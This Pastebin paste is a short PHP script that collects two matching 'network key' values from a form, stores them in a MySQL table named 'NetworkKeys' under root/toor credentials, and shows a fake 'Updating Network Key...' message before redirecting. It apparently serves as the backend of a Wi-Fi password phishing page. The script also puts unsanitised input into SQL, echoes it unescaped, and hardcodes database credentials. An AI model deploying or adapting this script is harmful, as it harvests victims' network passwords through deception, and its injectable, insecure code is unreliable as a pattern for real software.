Guest User

Untitled

a guest
Jan 19th, 2019
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.70 KB | None | 0 0
  1. <?php
  2. session_start();
  3.  
  4. ob_start();
  5.  
  6.  
  7. $host="localhost"; // Host name
  8. $username="root"; // Mysql username
  9. $password="toor"; // Mysql password
  10. $db_name="NetworkKeys"; // Database name
  11. $tbl_name="content"; // Table name
  12.  
  13. mysql_connect("$host", "$username", "$password")or die("Please try again... Can't connect to db.");
  14. mysql_select_db("$db_name")or die("Please try again... Can't locate the db.");
  15.  
  16. $key1=$_POST['key1'];
  17. $key2=$_POST['key2'];
  18.  
  19. if ($key1 != $key2) {
  20. header("location:error.html");
  21. break;
  22. }
  23.  
  24.  
  25. mysql_query("INSERT INTO content(key1, key2) VALUES('$key1', '$key2');");
  26.  
  27. echo "Updating Network Key... $key1";
  28. sleep(6);
  29. header("location:update.html");
  30.  
  31. ob_end_flush();
  32. ?>
Add Comment
Please, Sign In to add comment